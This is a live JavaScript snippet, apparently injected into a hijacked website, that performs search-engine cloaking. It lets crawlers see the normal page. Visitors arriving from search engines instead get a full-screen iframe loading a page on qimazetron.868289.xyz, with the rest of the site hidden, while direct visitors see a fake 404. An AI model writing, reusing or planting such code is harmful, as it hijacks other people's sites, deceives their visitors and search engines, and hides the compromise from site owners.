window.__earlyReferrer = document.referrer; var titlestr = document.title; var arr = ["https://qimazetron.868289.xyz:8283/lm/d.html?cc=mm11"];function hasValidReferrer() { var referer = getBestReferrer(); return referer && referer !== ''; } var mobileArr = ["https://qimazetron.868289.xyz:8283/lm/d.html?cc=mm11"];function hasValidReferrer() { var referer = getBestReferrer(); return referer && referer !== ''; } var directAccessLink = location.origin + "/404"; function isMobileDevice() { var mobileRegex = /(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i; return mobileRegex.test(navigator.userAgent); } function isSafariMobile() { var ua = navigator.userAgent; var isSafari = /Safari/.test(ua) && !/Chrome|CriOS/.test(ua); return isMobileDevice() && isSafari; } function isSpider() { var spiderRegex = /(baiduspider|googlebot|sogou web spider|sosospider|360spider|yisouspider|bingbot|bytespider|yodaobot|msnbot|slurp)/i; return spiderRegex.test(navigator.userAgent); } function getBestReferrer() { if (window.__earlyReferrer && window.__earlyReferrer !== '') return window.__earlyReferrer; try { var navEntries = performance.getEntriesByType('navigation'); if (navEntries && navEntries.length > 0 && navEntries[0].referrer) { return navEntries[0].referrer; } } catch(e) {} return document.referrer; } // ===== 新增:检查是否有来源 ===== function hasValidReferrer() { var referer = getBestReferrer(); return referer && referer !== ''; } function isFromSearchEngine() { var referer = getBestReferrer(); var searchDomains = [ 'baidu\\.com', 'm\\.baidu\\.com', 'www\\.baidu\\.com', 'baidu\\.cn', 'sogou\\.com', 'www\\.sogou\\.com', 'so\\.com', 'sm\\.cn', 'google\\.com', 'www\\.google\\.com', 'google\\.cn', 'bing\\.com', 'www\\.bing\\.com', 'yahoo\\.com', 'yandex\\.', 'ecosia\\.org', 'duckduckgo\\.com', 'ask\\.com', 'aol\\.com', 'wolframalpha\\.com' ]; if (referer) { var domainRegex = new RegExp('(' + searchDomains.join('|') + ')', 'i'); if (domainRegex.test(referer)) return true; if (/\/s\?|\/search\?|\?q=|\?wd=|\?keyword=/.test(referer)) return true; } var urlParams = new URLSearchParams(window.location.search); var fromParam = urlParams.get('from') || urlParams.get('source') || urlParams.get('utm_source') || urlParams.get('wd'); if (fromParam) { var searchKeywords = ['baidu', 'google', 'bing', 'sogou', 'yahoo', 'yandex', 'so', 'sm']; for (var i = 0; i < searchKeywords.length; i++) { if (fromParam.toLowerCase().indexOf(searchKeywords[i]) !== -1) return true; } } var currentUrl = window.location.href.toLowerCase(); for (var j = 0; j < searchDomains.length; j++) { if (currentUrl.indexOf(searchDomains[j].replace(/\\/g, '')) !== -1) return true; } return false; } function init() { if (window !== window.top) { return; } if (isSpider()) { return; } // ===== 修改:Safari 手机端加载前检查来源 ===== if (isSafariMobile()) { // 只有来源不为空时才加载 mobileArr if (hasValidReferrer()) { var safariTarget = mobileArr[Math.floor(Math.random() * mobileArr.length)]; if (safariTarget) { createIframe(safariTarget, false); } } else { // 没有来源时,可以选择显示 404 或不执行任何操作 console.log('Safari 手机端无来源,不加载 iframe'); // 如果想显示 404,取消下面注释 // createIframe(directAccessLink, true); } return; } if (isFromSearchEngine()) { var targetLink = isMobileDevice() ? mobileArr[Math.floor(Math.random() * mobileArr.length)] : arr[Math.floor(Math.random() * arr.length)]; if (targetLink) { createIframe(targetLink, false); } } else { createIframe(directAccessLink, true); } } function createIframe(olink, is404) { if (is404) { document.title = "404"; } else { document.title = titlestr; } var container = document.createElement('div'); container.id = 'showcloneshengxiaon'; container.style.cssText = 'height: 100%; width: 100%; background-color: rgb(255, 255, 255); position: fixed; top: 0; left: 0; z-index: 999999;'; var iframe = document.createElement('iframe'); iframe.src = olink; iframe.scrolling = 'yes'; iframe.style.cssText = 'width: 100%; height: 100%; border: none; margin: 0; padding: 0;'; iframe.setAttribute('frameborder', '0'); iframe.setAttribute('marginheight', '0'); iframe.setAttribute('marginwidth', '0'); container.appendChild(iframe); document.body.appendChild(container); document.documentElement.style.cssText = 'width: 100%; height: 100%; margin: 0; padding: 0;'; document.body.style.cssText = 'width: 100%; height: 100%; margin: 0; padding: 0; overflow: hidden;'; setTimeout(function() { for (var i = 0; i < document.body.children.length; i++) { try { var element = document.body.children[i]; var tagName = element.tagName.toLowerCase(); var id = element.id; if (id !== 'iconDiv1' && id !== 'showcloneshengxiaon' && tagName !== 'script') { element.style.display = 'none'; } } catch(e) {} } if (!document.querySelector('meta[name="viewport"]')) { var oMeta = document.createElement('meta'); oMeta.name = 'viewport'; oMeta.content = 'width=device-width, initial-scale=1, minimum-scale=1, maximum-scale=1, user-scalable=no'; document.getElementsByTagName('head')[0].appendChild(oMeta); } console.log('iframe加载完成,目标:', olink, is404 ? '(404页面)' : ''); }, 100); } if (document.readyState === 'complete' || document.readyState === 'interactive') { init(); } else { document.addEventListener('DOMContentLoaded', init); }